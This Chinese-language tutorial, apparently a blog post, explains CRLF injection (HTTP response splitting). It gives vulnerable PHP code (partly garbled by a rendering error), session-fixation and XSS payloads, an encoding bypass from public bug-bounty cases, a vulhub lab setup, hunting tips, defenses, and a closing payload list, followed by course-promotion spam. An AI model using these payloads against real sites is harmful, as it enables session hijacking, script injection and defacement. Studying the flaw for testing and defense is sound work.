CRLF注入（HTTP响应拆分-截断）

Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

很多人看到这里可能就想不明白，我请求包写入的恶意数据，怎么就被当成响应首部字段输出了？下面我们来看看服务器端源代码

if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 15: \_GET["url"]) &̲& (_COOKIE[“security_level”]) != “1” && $_COOkIE[“security_level”] != “2”)){
// Debugging
// echo "Not santized: " . $_GET[“url”];

header("Location: " . $_GET[“url”]);

exit;
}

这是其中一段代码，用PHP写的，需要大家有一定的语言基础。这段代码的意思是：当条件满足时，将请求包中的url参数值拼接到Location字符串中，并设置成响应头发送给客户端。


此时服务器端接收到的url参数值是我们修改后的：

http://baidu.com%0d%0aSet-Cookie:crlf=true

在url参数值拼接到Location字符串中，设置成响应头后，响应包此时应该是下面这样的：

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com%0d%0aSet-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

%0d和%0a分别是CR和LF的URL编码。前面我们讲到，HTTP规范中，行以CRLF结束。所以当检测到%0d%0a后，就认为Location首部字段这行结束了，Set-Cookie就会被认为是下一行，如下所示

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段，这个时候就会将crlf=true设置成Cookie。

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: crlf=true; _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: “Google Chrome”;v=“111”, “Not(A:Brand”;v=“8”, “Chromium”;v=“111”
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: “Windows”
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

重新请求，抓包，发现Cookie中多了crlf=true。


测试的用例大家可能会觉得这漏洞没什么危害性，但试想一下：利用漏洞，注入一个CRLF控制用户的Cookie，或者注入两个CRLF，控制返回给客户端的主体，该漏洞的危害不亚于XSS。


## 四、漏洞危害


根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。


### 1、会话固定(Session Fixation)


首先说说什么是会话固定攻击，会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。


会话固定也是会话劫持的一种类型。会话劫持是攻击者偷走受害者与服务器建立链接的会话，而会话固定是攻击者事先建立一个会话，然后诱使受害者使用此会话进行登录，如图所示。


![1679842571126-fa07395a-8cd3-42da-a404-225b1d52495e](https://img-blog.csdnimg.cn/img_convert/28cd37ec27df0abda2034fffa3b8deec.png)


一个常见的跳转响应包：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn

当攻击者利用CRLF字符对响应头中的Location进行如下输入：

%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite

则返回包会变成：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
Set-Cookie: JSPSESSID=hackingsite

攻击者就可以给访问者设置一个session，造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。


### 2、反射型XSS


上述案例，如果我们输入的是：

%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>

则返回包会变为：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location:

<img src=1 οnerrοr=alert(/xss/)>

浏览器会根据CRLF将http包分为header和body，然后将body中的内容执行，从而达到XSS。


从上面的案例中，如果遇到XSS过滤的情况我们还可以在httpheader中注入`X-XSS-Protection: 0`，可绕过浏览器的过滤规则实现XSS弹窗显示。


## 五、实战案例讲解


### 1、Shopify响应拆分


shopify会在后台中记录用户上次访问的是哪一个商店，然后将其放置在cookie，如访问`/last_shop?xxx.shopify.com`，则返回`set-cookie:xxx.shopify.com`，所以输入：

/last_shop?xxx.shopify.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0adeface

最终解析的结果为：

Set-cookie: xxx.shopify.com
Content-Length: 0

HTTP/1.1 200 OK
Content-Type:text/html
Content-Length: 19

deface

### 2、Hackerone响应拆分


这个案例也是302跳转类型，但略有不同，访问

info.hacker.one/%0d%0a%09headername:%20headervalue

Location正常取值info.hacker.one，剩下的解析为Header头。


![1679897330095-e2a2611f-9191-46b8-93fb-24484000f97f](https://img-blog.csdnimg.cn/img_convert/1b7ef9871627fbcafe815d8caf77b133.png)


### 3、Twitter过渡绕过


用户在访问https://twitter.com/i/safety/report\_story 地址时，服务器会获取参数reported\_tweet\_id的值，并将其设置到cookie中，最后导致了漏洞。


这里Twitter禁止用户提交换行符0x0a（%0a），但通过探测，发现其后端检测逻辑为：如果提交的数据是UTF-8编码过的，则会将其解码，去除无用字符后作为cookie输出，所以如果提交%E5%98%8A，不被拦截且经Unicode解码后变为U+560A，最后取0A，同样输入%E5%98%8D最后变成0D，最终payload为：

reported_tweet_id=%E5%98%8A%E5%98%8DSet-Cookie：%20test

![1679897422865-6b63e64f-5a36-4c9d-8071-8931b5e92817](https://img-blog.csdnimg.cn/img_convert/91095ace7f3befe815a13030cbf63613.png)


探测漏洞存在，可进一步进行利用，输入：

reported_tweet_id=test%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/οnlοad=alert%28innerHTML%28%29%E5%98%BE

经过服务器处理后返回的数据就会变成下面的html响应的形式：

Set-cookie: test
content-type: text/html
location:

<svg/οnlοad=alert(innerHTML)>

### 4、WEBrick响应拆分


补充一例简单的CRLF，取自CVE-2017-17742：WEBrick取get参数author作为cookie输出，访问

localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked

返回报文：![1679897543211-dd571f88-0640-411b-ac83-70a4b79b1505](https://img-blog.csdnimg.cn/img_convert/4cf4c8bbf256421a32032971ef4b563d.png)


## 六、靶场测试


利用docker搭建vulhub靶场，进入`/vulhub/nginx/insecure-configuration`目录

docker-compose up -d

8080端口是crlf漏洞靶场


![1679919004548-1978c97e-3d40-4ba9-8447-32d7f3e524fb](https://img-blog.csdnimg.cn/img_convert/ddecf6c743c8056f395679aa8a2fe22c.png)


Nginx会将$uri进行解码，导致传入`%0a%0d`即可引入换行符，造成CRLF注入漏洞。


![1679918925961-a1beb8f1-0e2a-42bc-a1bb-e354385a1e5d](https://img-blog.csdnimg.cn/img_convert/b8b2292e12e009833aae9024ce2c2368.png)


错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：

location / {
return 302 https://$host$uri;
}

## 七、挖掘技巧


挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的输入“输入“和“输出”位置，对于CRLF则是观察返回的各种类型的协议头，所以挖掘分三步：


1. 观察输出是否在返回头中，查看输入，可能是在URL值和参数、cookie头中。在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和302跳转location处。
2. 提交%0D%0A字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过。
3. 漏洞利用，使杀伤最大化，将漏洞转化为HTML注入，XSS，缓存等。


## 八、防御手段


要避免http响应截断，需要注意以下几点：


1. 对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
2. 创建安全字符白名单，只接受白名单中的字符出现在HTTP响应头文件中。
3. 在将数据传送到http响应头之前，删除所有的换行符。


## 九、CRLF Payload

探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：